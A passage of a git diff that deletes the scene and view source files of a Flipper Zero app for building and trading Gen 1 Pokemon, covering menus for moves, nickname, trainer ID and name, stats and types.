pokemon_fap); - submenu_add_item( - pokemon_fap->submenu, "Trade PKMN", TradeScene, scene_change_from_main_cb, pokemon_fap); - - submenu_set_selected_item( - pokemon_fap->submenu, - scene_manager_get_scene_state(pokemon_fap->scene_manager, MainMenuScene)); - - view_dispatcher_set_navigation_event_callback( - pokemon_fap->view_dispatcher, main_menu_back_event_callback); - view_dispatcher_switch_to_view(pokemon_fap->view_dispatcher, AppViewMainMenu); -} - -bool null_scene_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void null_scene_on_exit(void* context) { - UNUSED(context); -} - -void (*const pokemon_scene_on_enter_handlers[])(void*) = { - main_menu_scene_on_enter, - select_pokemon_scene_on_enter, - select_nickname_scene_on_enter, - select_level_scene_on_enter, - select_move_scene_on_enter, - select_move_index_scene_on_enter, - select_move_set_scene_on_enter, - select_type_scene_on_enter, - select_stats_scene_on_enter, - select_ot_id_scene_on_enter, - select_ot_name_scene_on_enter, - trade_scene_on_enter, -}; - -void (*const pokemon_scene_on_exit_handlers[])(void*) = { - null_scene_on_exit, - select_pokemon_scene_on_exit, - select_nickname_scene_on_exit, - select_level_scene_on_exit, - null_scene_on_exit, - null_scene_on_exit, - null_scene_on_exit, - select_type_scene_on_exit, - null_scene_on_exit, - select_ot_id_scene_on_exit, - select_ot_name_scene_on_exit, - null_scene_on_exit, -}; - -bool (*const pokemon_scene_on_event_handlers[])(void*, SceneManagerEvent) = { - null_scene_on_event, - null_scene_on_event, - null_scene_on_event, - null_scene_on_event, - null_scene_on_event, - null_scene_on_event, - null_scene_on_event, - null_scene_on_event, - null_scene_on_event, - null_scene_on_event, - null_scene_on_event, - null_scene_on_event, -}; - -const SceneManagerHandlers pokemon_scene_manager_handlers = { - .on_enter_handlers = pokemon_scene_on_enter_handlers, - .on_exit_handlers = pokemon_scene_on_exit_handlers, - .on_event_handlers = pokemon_scene_on_event_handlers, - .scene_num = SceneCount, -}; diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_menu.h b/applications/external/malveke_pokemon_trading/scenes/pokemon_menu.h deleted file mode 100644 index beedb6fa702..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_menu.h +++ /dev/null @@ -1,26 +0,0 @@ -#ifndef POKEMON_MENU_H -#define POKEMON_MENU_H - -#pragma once - -#include - -typedef enum { - MainMenuScene, - SelectPokemonScene, - SelectNicknameScene, - SelectLevelScene, - SelectMoveScene, - SelectMoveIndexScene, - SelectMoveSetScene, - SelectTypeScene, - SelectStatsScene, - SelectOTIDScene, - SelectOTNameScene, - TradeScene, - SceneCount, -} AppScene; - -extern const SceneManagerHandlers pokemon_scene_manager_handlers; - -#endif // POKEMON_MENU_H diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_move.c b/applications/external/malveke_pokemon_trading/scenes/pokemon_move.c deleted file mode 100644 index a43241aea0f..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_move.c +++ /dev/null @@ -1,154 +0,0 @@ -#include -#include -#include - -#include "../pokemon_app.h" -#include "pokemon_menu.h" - -static void select_move_selected_callback(void* context, uint32_t index) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - uint32_t move = scene_manager_get_scene_state(pokemon_fap->scene_manager, SelectMoveScene); - - if(index == UINT32_MAX) { - pokemon_fap->trade_block->party[0].move[move] = - pokemon_fap->pokemon_table[pokemon_fap->curr_pokemon].move[move]; - } else { - pokemon_fap->trade_block->party[0].move[move] = (uint8_t)index; - } - FURI_LOG_D( - TAG, - "[move] Set move %s to %d", - pokemon_named_list_get_name_from_index( - pokemon_fap->move_list, pokemon_fap->trade_block->party[0].move[move]), - (int)move); - - /* Move back to move menu */ - scene_manager_search_and_switch_to_previous_scene(pokemon_fap->scene_manager, SelectMoveScene); -} - -static void select_move_index_callback(void* context, uint32_t index) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - /* Move to next scene */ - scene_manager_set_scene_state(pokemon_fap->scene_manager, SelectMoveIndexScene, index); - scene_manager_next_scene(pokemon_fap->scene_manager, SelectMoveSetScene); -} - -static void select_move_number_callback(void* context, uint32_t index) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - /* Move to move index scene, save which move number we're selecting, - * This doubles as the move slot we're going to write to later. - */ - scene_manager_set_scene_state(pokemon_fap->scene_manager, SelectMoveScene, index); - scene_manager_next_scene(pokemon_fap->scene_manager, SelectMoveIndexScene); -} - -void select_move_scene_on_enter(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - uint8_t* pkmn_move = pokemon_fap->trade_block->party[0].move; - char buf[64]; - - submenu_reset(pokemon_fap->submenu); - - snprintf( - buf, - sizeof(buf), - "Move 1: %s", - pokemon_named_list_get_name_from_index(pokemon_fap->move_list, pkmn_move[0])); - submenu_add_item(pokemon_fap->submenu, buf, 0, select_move_number_callback, pokemon_fap); - snprintf( - buf, - sizeof(buf), - "Move 2: %s", - pokemon_named_list_get_name_from_index(pokemon_fap->move_list, pkmn_move[1])); - submenu_add_item(pokemon_fap->submenu, buf, 1, select_move_number_callback, pokemon_fap); - snprintf( - buf, - sizeof(buf), - "Move 3: %s", - pokemon_named_list_get_name_from_index(pokemon_fap->move_list, pkmn_move[2])); - submenu_add_item(pokemon_fap->submenu, buf, 2, select_move_number_callback, pokemon_fap); - snprintf( - buf, - sizeof(buf), - "Move 4: %s", - pokemon_named_list_get_name_from_index(pokemon_fap->move_list, pkmn_move[3])); - submenu_add_item(pokemon_fap->submenu, buf, 3, select_move_number_callback, pokemon_fap); - - /* TODO: Add a "Default all moves" item? */ - - submenu_set_selected_item( - pokemon_fap->submenu, - scene_manager_get_scene_state(pokemon_fap->scene_manager, SelectMoveScene)); - - /* Clear cursor position on MoveIndex */ - scene_manager_set_scene_state(pokemon_fap->scene_manager, SelectMoveIndexScene, 0); -} - -void select_move_index_scene_on_enter(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - int i; - char letter[2] = {'\0'}; - char buf[32]; - int curr_pokemon = pokemon_fap->curr_pokemon; - uint32_t move_num = scene_manager_get_scene_state(pokemon_fap->scene_manager, SelectMoveScene); - uint8_t default_move = pokemon_fap->pokemon_table[curr_pokemon].move[move_num]; - const NamedList* move_list = pokemon_fap->move_list; - - submenu_reset(pokemon_fap->submenu); - /* The move list should always start with No Move, put that at the start - * for quick access. - */ - submenu_add_item( - pokemon_fap->submenu, - move_list[0].name, - move_list[0].index, - select_move_selected_callback, - pokemon_fap); - - /* Option to set move back to default */ - snprintf( - buf, - sizeof(buf), - "Default [%s]", - pokemon_named_list_get_name_from_index(pokemon_fap->move_list, default_move)); - submenu_add_item( - pokemon_fap->submenu, buf, UINT32_MAX, select_move_selected_callback, pokemon_fap); - - /* Now, walk through the list and make a submenu item for each move's starting letter */ - for(i = 1;; i++) { - if(move_list[i].name == NULL) break; - if(toupper(move_list[i].name[0]) != toupper(letter[0])) { - letter[0] = toupper(move_list[i].name[0]); - submenu_add_item( - pokemon_fap->submenu, letter, letter[0], select_move_index_callback, pokemon_fap); - } - } - - submenu_set_selected_item( - pokemon_fap->submenu, - scene_manager_get_scene_state(pokemon_fap->scene_manager, SelectMoveIndexScene)); -} - -void select_move_set_scene_on_enter(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - int i; - char letter = - (char)scene_manager_get_scene_state(pokemon_fap->scene_manager, SelectMoveIndexScene); - - /* Populate submenu with all moves that start with `letter` */ - /* NOTE! Start with index of 1 in the move list since 0 should always be no move! */ - submenu_reset(pokemon_fap->submenu); - for(i = 1;; i++) { - if(pokemon_fap->move_list[i].name == NULL) break; - if(toupper(pokemon_fap->move_list[i].name[0]) == toupper(letter)) { - submenu_add_item( - pokemon_fap->submenu, - pokemon_fap->move_list[i].name, - pokemon_fap->move_list[i].index, - select_move_selected_callback, - pokemon_fap); - } - } -} diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_move.h b/applications/external/malveke_pokemon_trading/scenes/pokemon_move.h deleted file mode 100644 index 11d938e4677..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_move.h +++ /dev/null @@ -1,12 +0,0 @@ -#ifndef POKEMON_MOVE_H -#define POKEMON_MOVE_H - -#pragma once - -void select_move_scene_on_enter(void* context); - -void select_move_index_scene_on_enter(void* context); - -void select_move_set_scene_on_enter(void* context); - -#endif // POKEMON_MOVE_H diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_nickname.c b/applications/external/malveke_pokemon_trading/scenes/pokemon_nickname.c deleted file mode 100644 index eb4d5eecd15..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_nickname.c +++ /dev/null @@ -1,85 +0,0 @@ -#include -#include -#include -#include -#include - -#include "../pokemon_app.h" -#include "../pokemon_char_encode.h" -#include "pokemon_menu.h" - -static char name_buf[11]; - -/* NOTE: - * It would be nice if we could cleanly default to the pokemon's name as their - * nickname. The issue is that if you enter a blank line to text input, it does - * call this function, but returning true does nothing. However, I've found that - * if you check for the first char of the buffer being \0, you can then set the - * buffer and then return true. This has the effect of staying in the text_input - * screen, but, prepopulating the text entry with the buffer AND staying on the - * save button. - */ -static bool select_nickname_input_validator(const char* text, FuriString* error, void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - bool rc = true; - unsigned int i; - - if(text[0] == '\0') { - /* Get the pokemon's name and populate our buffer with it */ - /* XXX: Nidoran M/F are still a problem with this. */ - pokemon_trade_block_set_default_name(name_buf, pokemon_fap, sizeof(name_buf)); - return true; - } - - for(i = 0; i < strlen(text); i++) { - if(isdigit((unsigned int)text[i])) { - furi_string_printf(error, "Name cannot\ncontain\nnumbers!"); - rc = false; - } - } - - if(rc == true) { - /* Clear existing nickname in trade block*/ - memset(pokemon_fap->trade_block->nickname, TERM_, sizeof(struct name)); - - /* Encode string to nickname */ - pokemon_str_to_encoded_array( - (uint8_t*)pokemon_fap->trade_block->nickname, (char*)text, strlen(text)); - FURI_LOG_D(TAG, "[nickname] Set nickname to %s", text); - } - - return rc; -} - -static void select_nickname_input_callback(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - scene_manager_previous_scene(pokemon_fap->scene_manager); -} - -void select_nickname_scene_on_exit(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - view_dispatcher_switch_to_view(pokemon_fap->view_dispatcher, AppViewMainMenu); - view_dispatcher_remove_view(pokemon_fap->view_dispatcher, AppViewOpts); -} - -void select_nickname_scene_on_enter(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - text_input_reset(pokemon_fap->text_input); - text_input_set_validator( - pokemon_fap->text_input, select_nickname_input_validator, pokemon_fap); - text_input_set_result_callback( - pokemon_fap->text_input, - select_nickname_input_callback, - pokemon_fap, - name_buf, - sizeof(name_buf), - true); - text_input_set_header_text(pokemon_fap->text_input, "Nickname (none for default)"); - - view_dispatcher_add_view( - pokemon_fap->view_dispatcher, AppViewOpts, text_input_get_view(pokemon_fap->text_input)); - view_dispatcher_switch_to_view(pokemon_fap->view_dispatcher, AppViewOpts); -} diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_nickname.h b/applications/external/malveke_pokemon_trading/scenes/pokemon_nickname.h deleted file mode 100644 index 499af467f26..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_nickname.h +++ /dev/null @@ -1,9 +0,0 @@ -#ifndef POKEMON_NICKNAME_H -#define POKEMON_NICKNAME_H - -#pragma once - -void select_nickname_scene_on_enter(void* context); -void select_nickname_scene_on_exit(void* context); - -#endif // POKEMON_NICKNAME_H diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_ot_id.c b/applications/external/malveke_pokemon_trading/scenes/pokemon_ot_id.c deleted file mode 100644 index e97e82d90e7..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_ot_id.c +++ /dev/null @@ -1,74 +0,0 @@ -#include -#include -#include -#include -#include - -#include "../pokemon_app.h" -#include "pokemon_menu.h" - -static char ot_id_buf[6]; - -static bool select_ot_id_input_validator(const char* text, FuriString* error, void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - int ot_id; - uint16_t ot_id_16; - bool rc = true; - unsigned int i; - - /* Need to check each byte to ensure is not alpha. atoi returns 0 which is - * technically a valid ID, so we need to separately check for alpha chars. - */ - for(i = 0; i < sizeof(ot_id_buf); i++) { - if(!isdigit((unsigned int)text[i])) { - if(text[i] == '\0') break; - rc = false; - break; - } - } - - ot_id = atoi(text); - if(ot_id < 0 || ot_id > 65535 || rc == false) { - furi_string_printf(error, "OT ID must\nbe between\n0-65535!"); - rc = false; - } else { - ot_id_16 = __builtin_bswap16((uint16_t)ot_id); - pokemon_fap->trade_block->party[0].ot_id = ot_id_16; - } - - FURI_LOG_D(TAG, "[ot_id] Set OT ID to %05d", (uint16_t)ot_id); - - return rc; -} - -static void select_ot_id_input_callback(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - scene_manager_previous_scene(pokemon_fap->scene_manager); -} - -void select_ot_id_scene_on_exit(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - view_dispatcher_switch_to_view(pokemon_fap->view_dispatcher, AppViewMainMenu); - view_dispatcher_remove_view(pokemon_fap->view_dispatcher, AppViewOpts); -} - -void select_ot_id_scene_on_enter(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - text_input_reset(pokemon_fap->text_input); - text_input_set_validator(pokemon_fap->text_input, select_ot_id_input_validator, pokemon_fap); - text_input_set_result_callback( - pokemon_fap->text_input, - select_ot_id_input_callback, - pokemon_fap, - ot_id_buf, - sizeof(ot_id_buf), - true); - text_input_set_header_text(pokemon_fap->text_input, "Enter OT ID (numbers only):"); - - view_dispatcher_add_view( - pokemon_fap->view_dispatcher, AppViewOpts, text_input_get_view(pokemon_fap->text_input)); - view_dispatcher_switch_to_view(pokemon_fap->view_dispatcher, AppViewOpts); -} diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_ot_id.h b/applications/external/malveke_pokemon_trading/scenes/pokemon_ot_id.h deleted file mode 100644 index bb5e9bfc296..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_ot_id.h +++ /dev/null @@ -1,9 +0,0 @@ -#ifndef POKEMON_OT_ID_H -#define POKEMON_OT_ID_H - -#pragma once - -void select_ot_id_scene_on_enter(void* context); -void select_ot_id_scene_on_exit(void* context); - -#endif // POKEMON_OT_ID_H diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_ot_name.c b/applications/external/malveke_pokemon_trading/scenes/pokemon_ot_name.c deleted file mode 100644 index 74e41cacd12..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_ot_name.c +++ /dev/null @@ -1,70 +0,0 @@ -#include -#include -#include -#include -#include - -#include "../pokemon_app.h" -#include "../pokemon_char_encode.h" -#include "pokemon_menu.h" - -static char ot_name_buf[8]; - -static bool select_ot_name_input_validator(const char* text, FuriString* error, void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - bool rc = true; - unsigned int i; - - // OT name is 7 chars max on gen 1, so only take that and then fill the rest of the 11 bytes with term - - for(i = 0; i < sizeof(ot_name_buf); i++) { - if(isdigit((unsigned int)text[i])) { - furi_string_printf(error, "Name cannot\ncontain\nnumbers!"); - rc = false; - } - } - - if(rc == true) { - /* Clear existing OT Name in trade block*/ - memset(pokemon_fap->trade_block->ot_name, TERM_, sizeof(struct name)); - - /* Encode string to OT Name */ - pokemon_str_to_encoded_array( - (uint8_t*)pokemon_fap->trade_block->ot_name, (char*)text, strlen(text)); - FURI_LOG_D(TAG, "[ot_name] Set OT name to %s", text); - } - - return rc; -} - -static void select_ot_name_input_callback(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - scene_manager_previous_scene(pokemon_fap->scene_manager); -} - -void select_ot_name_scene_on_exit(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - view_dispatcher_switch_to_view(pokemon_fap->view_dispatcher, AppViewMainMenu); - view_dispatcher_remove_view(pokemon_fap->view_dispatcher, AppViewOpts); -} - -void select_ot_name_scene_on_enter(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - text_input_reset(pokemon_fap->text_input); - text_input_set_validator(pokemon_fap->text_input, select_ot_name_input_validator, pokemon_fap); - text_input_set_result_callback( - pokemon_fap->text_input, - select_ot_name_input_callback, - pokemon_fap, - ot_name_buf, - sizeof(ot_name_buf), - true); - text_input_set_header_text(pokemon_fap->text_input, "Enter OT Name"); - - view_dispatcher_add_view( - pokemon_fap->view_dispatcher, AppViewOpts, text_input_get_view(pokemon_fap->text_input)); - view_dispatcher_switch_to_view(pokemon_fap->view_dispatcher, AppViewOpts); -} diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_ot_name.h b/applications/external/malveke_pokemon_trading/scenes/pokemon_ot_name.h deleted file mode 100644 index 26f1c418f2b..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_ot_name.h +++ /dev/null @@ -1,9 +0,0 @@ -#ifndef POKEMON_OT_NAME_H -#define POKEMON_OT_NAME_H - -#pragma once - -void select_ot_name_scene_on_enter(void* context); -void select_ot_name_scene_on_exit(void* context); - -#endif // POKEMON_OT_NAME_H diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_select.c b/applications/external/malveke_pokemon_trading/scenes/pokemon_select.c deleted file mode 100644 index c9b298640fb..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_select.c +++ /dev/null @@ -1,22 +0,0 @@ -#include "../pokemon_app.h" - -void select_pokemon_scene_on_enter(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - // switch to select pokemon scene - // Note for the future, this might make sense to setup and teardown each view - // at runtime rather than at the start of the whole application - view_dispatcher_switch_to_view(pokemon_fap->view_dispatcher, AppViewSelectPokemon); -} - -void select_pokemon_scene_on_exit(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - /* If a new pokemon was selected, then recalculate all of the trade_block - * values for the first pokemon in the party. - */ - /* XXX: Find a way to see if exit was caused by an OK or a Back input? */ - if(pokemon_fap->pokemon_table[pokemon_fap->curr_pokemon].index != - pokemon_fap->trade_block->party[0].index) { - pokemon_trade_block_recalculate(pokemon_fap); - } -} diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_select.h b/applications/external/malveke_pokemon_trading/scenes/pokemon_select.h deleted file mode 100644 index 62617c84b2d..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_select.h +++ /dev/null @@ -1,9 +0,0 @@ -#ifndef POKEMON_SELECT_H -#define POKEMON_SELECT_H - -#pragma once - -void select_pokemon_scene_on_enter(void* context); -void select_pokemon_scene_on_exit(void* context); - -#endif // POKEMON_SELECT_H diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_stats.c b/applications/external/malveke_pokemon_trading/scenes/pokemon_stats.c deleted file mode 100644 index 14437053a69..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_stats.c +++ /dev/null @@ -1,43 +0,0 @@ -#include - -#include "../pokemon_app.h" -#include "pokemon_menu.h" - -const char* stats_text[6] = { - "Random IV, Zero EV", - "Random IV, Max EV / Level", - "Random IV, Max EV", - "Max IV, Zero EV", - "Max IV, Max EV / Level", - "Max IV, Max EV", -}; - -static void select_stats_selected_callback(void* context, uint32_t index) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - pokemon_fap->curr_stats = index; - - pokemon_trade_block_recalculate_stats_from_level(pokemon_fap); - - FURI_LOG_D(TAG, "[stats] Set stats to %s", stats_text[index]); - - scene_manager_previous_scene(pokemon_fap->scene_manager); -} - -void select_stats_scene_on_enter(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - submenu_reset(pokemon_fap->submenu); - submenu_add_item( - pokemon_fap->submenu, stats_text[0], 0, select_stats_selected_callback, pokemon_fap); - submenu_add_item( - pokemon_fap->submenu, stats_text[1], 1, select_stats_selected_callback, pokemon_fap); - submenu_add_item( - pokemon_fap->submenu, stats_text[2], 2, select_stats_selected_callback, pokemon_fap); - submenu_add_item( - pokemon_fap->submenu, stats_text[3], 3, select_stats_selected_callback, pokemon_fap); - submenu_add_item( - pokemon_fap->submenu, stats_text[4], 4, select_stats_selected_callback, pokemon_fap); - submenu_add_item( - pokemon_fap->submenu, stats_text[5], 5, select_stats_selected_callback, pokemon_fap); -} diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_stats.h b/applications/external/malveke_pokemon_trading/scenes/pokemon_stats.h deleted file mode 100644 index 0b86b0463cb..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_stats.h +++ /dev/null @@ -1,9 +0,0 @@ -#ifndef POKEMON_STATS_H -#define POKEMON_STATS_H - -#pragma once - -extern const char* stats_text[6]; -void select_stats_scene_on_enter(void* context); - -#endif // POKEMON_STATS_H diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_trade.c b/applications/external/malveke_pokemon_trading/scenes/pokemon_trade.c deleted file mode 100644 index f10b1fbb3a3..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_trade.c +++ /dev/null @@ -1,9 +0,0 @@ -#include "../pokemon_app.h" - -void trade_scene_on_enter(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - // switch to select pokemon scene - // Note for the future, this might make sense to setup and teardown each view - // at runtime rather than at the start? - view_dispatcher_switch_to_view(pokemon_fap->view_dispatcher, AppViewTrade); -} diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_trade.h b/applications/external/malveke_pokemon_trading/scenes/pokemon_trade.h deleted file mode 100644 index f19c165557c..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_trade.h +++ /dev/null @@ -1,8 +0,0 @@ -#ifndef POKEMON_TRADE_H -#define POKEMON_TRADE_H - -#pragma once - -void trade_scene_on_enter(void* context); - -#endif // POKEMON_TRADE_H diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_type.c b/applications/external/malveke_pokemon_trading/scenes/pokemon_type.c deleted file mode 100644 index 74165d85246..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_type.c +++ /dev/null @@ -1,81 +0,0 @@ -#include - -#include "../pokemon_app.h" -#include "pokemon_menu.h" - -/* TODO: In the future I would like to be able to set the types and then - * require a "save" button to save them. This would require tracking of - * the two different VariableItems in a way that I don't know how to do - * yet with this interface. - * For now, selecting a type immediately updates the trade_block struct, - * requiring the user to press Back to go back. I would like to implement - * an OK press or something to save both. But thats a problem for another - * day. - */ -static void select_type_1_callback(VariableItem* item) { - PokemonFap* pokemon_fap = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, pokemon_fap->type_list[index].name); - pokemon_fap->trade_block->party[0].type[0] = pokemon_fap->type_list[index].index; - - FURI_LOG_D( - TAG, - "[type] Set type1 to %s", - pokemon_named_list_get_name_from_index( - pokemon_fap->type_list, pokemon_fap->type_list[index].index)); -} - -static void select_type_2_callback(VariableItem* item) { - PokemonFap* pokemon_fap = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, pokemon_fap->type_list[index].name); - pokemon_fap->trade_block->party[0].type[1] = pokemon_fap->type_list[index].index; - - FURI_LOG_D( - TAG, - "[type] Set type2 to %s", - pokemon_named_list_get_name_from_index( - pokemon_fap->type_list, pokemon_fap->type_list[index].index)); -} - -void select_type_scene_on_exit(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - view_dispatcher_switch_to_view(pokemon_fap->view_dispatcher, AppViewMainMenu); - view_dispatcher_remove_view(pokemon_fap->view_dispatcher, AppViewOpts); -} - -void select_type_scene_on_enter(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - VariableItem* type1; - VariableItem* type2; - int curr_pokemon_type1 = pokemon_fap->trade_block->party[0].type[0]; - int curr_pokemon_type2 = pokemon_fap->trade_block->party[0].type[1]; - int num_types = pokemon_named_list_get_num_elements(pokemon_fap->type_list); - const NamedList* type_list = pokemon_fap->type_list; - - variable_item_list_reset(pokemon_fap->variable_item_list); - - type1 = variable_item_list_add( - pokemon_fap->variable_item_list, "Type 1:", num_types, select_type_1_callback, pokemon_fap); - type2 = variable_item_list_add( - pokemon_fap->variable_item_list, "Type 2:", num_types, select_type_2_callback, pokemon_fap); - - variable_item_set_current_value_index( - type1, pokemon_named_list_get_list_pos_from_index(type_list, curr_pokemon_type1)); - variable_item_set_current_value_text( - type1, pokemon_named_list_get_name_from_index(type_list, curr_pokemon_type1)); - - variable_item_set_current_value_index( - type2, pokemon_named_list_get_list_pos_from_index(type_list, curr_pokemon_type2)); - variable_item_set_current_value_text( - type2, pokemon_named_list_get_name_from_index(type_list, curr_pokemon_type2)); - - view_dispatcher_add_view( - pokemon_fap->view_dispatcher, - AppViewOpts, - variable_item_list_get_view(pokemon_fap->variable_item_list)); - view_dispatcher_switch_to_view(pokemon_fap->view_dispatcher, AppViewOpts); -} diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_type.h b/applications/external/malveke_pokemon_trading/scenes/pokemon_type.h deleted file mode 100644 index a8f38b1c745..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_type.h +++ /dev/null @@ -1,9 +0,0 @@ -#ifndef POKEMON_TYPE_H -#define POKEMON_TYPE_H - -#pragma once - -void select_type_scene_on_enter(void* context); -void select_type_scene_on_exit(void* context); - -#endif // POKEMON_TYPE_H diff --git a/applications/external/malveke_pokemon_trading/views/select_pokemon.c b/applications/external/malveke_pokemon_trading/views/select_pokemon.c deleted file mode 100644 index 29992c012ff..00000000000 --- a/applications/external/malveke_pokemon_trading/views/select_pokemon.c +++ /dev/null @@ -1,142 +0,0 @@ -#include -#include - -#include "../scenes/pokemon_menu.h" -#include "../pokemon_app.h" - -struct select_model { - uint8_t curr_pokemon; - const PokemonTable* pokemon_table; -}; - -static void select_pokemon_render_callback(Canvas* canvas, void* model) { - struct select_model* view_model = model; - uint8_t curr_pokemon = view_model->curr_pokemon; - char pokedex_num[5]; - - snprintf(pokedex_num, sizeof(pokedex_num), "#%03d", curr_pokemon + 1); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, 55, 54 / 2, AlignLeft, AlignTop, view_model->pokemon_table[curr_pokemon].name); - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 55, 38, AlignLeft, AlignTop, pokedex_num); - canvas_draw_icon(canvas, 0, 0, view_model->pokemon_table[curr_pokemon].icon); - canvas_draw_icon(canvas, 128 - 80, 0, &I_Space_80x18); - canvas_draw_str_aligned(canvas, (128 - 40), 5, AlignCenter, AlignTop, "Select Pokemon"); - - canvas_set_font(canvas, FontPrimary); - elements_button_center(canvas, "OK"); -} - -static bool select_pokemon_input_callback(InputEvent* event, void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - bool consumed = false; - uint8_t selected_pokemon; - - furi_assert(context); - - /* We only handle InputTypePress at the moment */ - if(event->type != InputTypePress) return consumed; - - with_view_model( - pokemon_fap->select_view, - struct select_model * model, - { selected_pokemon = model->curr_pokemon; }, - false); - - switch(event->key) { - /* Advance to next view with the selected pokemon */ - case InputKeyOk: - pokemon_fap->curr_pokemon = selected_pokemon; - FURI_LOG_D(TAG, "[Select] Selected %s", pokemon_fap->pokemon_table[selected_pokemon].name); - scene_manager_previous_scene(pokemon_fap->scene_manager); - consumed = true; - break; - - /* Move back one through the pokedex listing */ - case InputKeyLeft: - if(selected_pokemon == 0) - selected_pokemon = 150; - else - selected_pokemon--; - consumed = true; - break; - - /* Move back ten through the pokemon listing, wrap to max pokemon on - * underflow. - */ - case InputKeyDown: - if(selected_pokemon >= 10) - selected_pokemon -= 10; - else - selected_pokemon = 150; - consumed = true; - break; - - /* Move forward one through the pokedex listing */ - case InputKeyRight: - if(selected_pokemon == 150) - selected_pokemon = 0; - else - selected_pokemon++; - consumed = true; - break; - - /* Move forward ten through the pokemon listing, wrap to min pokemon on - * overflow. - */ - case InputKeyUp: - if(selected_pokemon <= 140) - selected_pokemon += 10; - else - selected_pokemon = 0; - consumed = true; - break; - - default: - // Do Nothing - break; - } - - with_view_model( - pokemon_fap->select_view, - struct select_model * model, - { model->curr_pokemon = selected_pokemon; }, - true); - - return consumed; -} - -void select_pokemon_enter_callback(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - with_view_model( - pokemon_fap->select_view, - struct select_model * model, - { - model->curr_pokemon = (uint8_t)pokemon_fap->curr_pokemon; - model->pokemon_table = pokemon_fap->pokemon_table; - }, - true); -} - -View* select_pokemon_alloc(PokemonFap* pokemon_fap) { - View* view; - - view = view_alloc(); - - view_set_context(view, pokemon_fap); - view_allocate_model(view, ViewModelTypeLockFree, sizeof(struct select_model)); - - view_set_draw_callback(view, select_pokemon_render_callback); - view_set_input_callback(view, select_pokemon_input_callback); - view_set_enter_callback(view, select_pokemon_enter_callback); - return view; -} - -void select_pokemon_free(PokemonFap* pokemon_fap) { - furi_assert(pokemon_fap); - view_free_model(pokemon_fap->select_view); - view_free(pokemon_fap->select_view); -} diff --git a/applications/external/malveke_pokemon_trading/views/select_pokemon.h b/applications/external/malveke_pokemon_trading/views/select_pokemon.h deleted file mode 100644 index e4b936283c3..00000000000 --- a/applications/external/malveke_pokemon_trading/views/select_pokemon.h +++ /dev/null @@ -1,13 +0,0 @@ -#ifndef SELECCT_POKEMON_H -#define SELECCT_POKEMON_H - -#pragma once - -#include -#include "../pokemon_app.h" - -View* select_pokemon_alloc(PokemonFap* pokemon_fap); - -void select_pokemon_free(PokemonFap* pokemon_fap); - -#endif /* SELECCT_POKEMON_H */ diff --git 